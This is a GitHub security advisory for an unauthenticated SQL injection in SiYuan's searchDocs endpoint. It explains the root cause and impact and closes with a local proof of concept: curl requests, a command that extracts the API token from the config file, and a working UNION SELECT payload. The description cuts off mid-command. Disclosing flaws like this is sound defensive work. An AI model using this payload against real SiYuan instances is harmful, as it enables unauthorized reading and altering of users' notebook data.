GitHub Advisoryadvisory · Go

GHSA-33jq-p8c2-q3q4 SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking

CRITICAL Published 2026-10-01 Modified 2026-10-01 Official page ↗
Aliases
CVE-2026-69085
Ecosystem
Go
Packages
github.com/siyuan-note/siyuan/kernel
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weaknesses
CWE-89
Reviewed
2026-10-01

Affected packages

• Go github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260721043339-eef10568384e → fixed in 0.0.0-20260721043339-eef10568384e

Description

Summary The `/api/filetree/searchDocs` endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (`;`-separated) statements, against the global `blocks` table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance. Details Data flow, unescaped and unbound at every hop: • `searchDocs` (`kernel/api/filetree.go`): `k := arg["k"].(string)` passed straight to `model.SearchDocs(k, …)`, no sanitization. • `SearchDocs` (`kernel/model/file.go`): after `TrimSpace` and `strings.Fields`, each token is spliced into a single-quoted `LIKE` literal by concatenation `condition.WriteString("(hpath LIKE '%" + k + "%'")`. No escaping, no `''` doubling, no bind placeholder. • `NAMFilter` (`kernel/conf/search.go`): appends `" OR name LIKE '%" + keyword + "%'"` (and `alias`, `memo`) the same way, enabled by default. • `QueryRootBlockByCondition` (`kernel/sql/block_query.go`): `"SELECT *, … FROM blocks WHERE type = 'd' AND " + condition + " ORDER BY … LIMIT …"` passed to `query(sqlStmt)`. The only value-inspecting guard is `ast.IsNodeIDPattern(keyword)`, which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. `strings.Fields` prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement. Driver / statement stacking. The driver is the vendored `github.com/88250/go-sqlite3` (mattn fork), registered as `sqlite3_extended`. `query()` calls `db.Query`, and the driver's connection `query` implementation loops over `;`-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's `CheckSingleStatement` / `CheckReadonlyStatement` guards exist but are wired only into the explicit SQL endpoints (`api/sql.go`, `cli`, `mcp`); the `searchDocs > query()` path does not call them. Handle. The DSN (`kernel/model/database.go`) sets `_journal_mode=WAL&_synchronous=OFF&…` with no `mode=ro` and no `_query_only`. It is the same read-write handle used for indexing `Exec` calls, so stacked `INSERT`/`UPDATE`/`DELETE` execute, and `ATTACH` is available. `load_extension` is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution. Scope. The `blocks` table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped. Impact An unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and `ATTACH`-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`). Root cause The keyword is split on whitespace and each token is spliced into a `LIKE` literal without escaping or binding: • `SearchDocs` builds each condition as `(hpath LIKE '%%' ...)` (`file.go:199`). • `NAMFilter` appends `OR name LIKE '%%'`, `alias`, `memo` the same way (`search.go:135-142`). • `QueryRootBlockByCondition` concatenates that condition into `SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND ORDER BY box DESC, lv ASC LIMIT ` and calls `query()` (`block_query.go:74-75`). • `query()` calls `db.Query()` with no call to the project's own `CheckSingleStatement` / `CheckReadonlyStatement` guards, which are wired only into `api/sql.go` (the explicit SQL endpoints), not this path (`database.go:1426-1436`). The only pre-sink check is `ast.IsNodeIDPattern` (`file.go:179`), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize. Reachability / auth tier • Route middleware is `model.CheckAuth` only no `CheckAdminRole`. • The publish reverse proxy injects a token resolving to `RoleReader`, or the anonymous account when `Publish.Auth.Enable=false`. Both satisfy `CheckAuth`. • The handler applies no publish-access / read-only / role check, and `SearchDocs` applies no post-query scope filter. • Query targets the global `blocks` table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded. Proof of concept (read-only discloses `sqlite_version()`) Demonstrated against a local instance. Read-only: the PoC runs a single `SELECT … UNION SELECT` and surfaces the SQLite version string through the search response. No data is modified. 1. Prerequisites • A local SiYuan kernel running (default `http://127.0.0.1:6806`). • The API token from Settings > About > API token (omit if no access-auth code is set). • One opened notebook id (17 chars), e.g. from `POST /api/notebook/lsNotebooks`. 2. Why the payload is shaped this way • The kernel places the keyword as `hpath LIKE '%%'`, so the payload closes the string literal and the condition group, appends a `UNION SELECT`, and comments out the trailing `%'`, `ORDER BY`, and `LIMIT`. • The keyword is whitespace-split (`strings.Fields`), so literal spaces are replaced with `//` SQL comments. • `blocks` has 21 columns; the query adds a computed `lv`, so the `UNION SELECT` must supply 22 values. Only col 5 (Box) and col 6 (Path)** matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open `file.go:230`) and col 6 is returned verbatim as the response `path` field. 3. PoC 1. Open the web UI once (unlocks + ensures a notebook is open) 1. Browser > `http://127.0.0.1:6806` 2. Enter the access-auth code: `poctestcode` 3. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click + > New notebook, name it anything, and make sure it's open (bold, not greyed). 2. Grab the API token ``` docker exec siyuan-poc grep -o '"token":"[^"]*"' /siyuan/workspace/conf/conf.json TOKEN="paste_the_token_value_here" ``` 3. Get the open notebook's ID `curl -s -X POST "http://127.0.0.1:6806/api/notebook/lsNotebooks" -H "Authorization: Token $TOKEN"` Copy an id whose "closed":false, then: `BOX_ID="paste_that_id_here"` 4. Build the request body ``` cat > body.json <<EOF {"k":"poc%')//union//select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"} EOF ``` (The heredoc substitutes $BOX_ID for you, no manual editing.) 5. Fire the injection `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'` Expected: the SQLite version string, e.g. `"path":"3.45.1"`, proof the keyword was executed as SQL. Screenshot this for the advisory. 6. Confirm the row is genuinely injected (optional sanity check) Run the same request with a benign keyword and confirm no version appears: `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOK…

Related

Alias · CVE (1)

  • CVE-2026-69085 SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword… vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References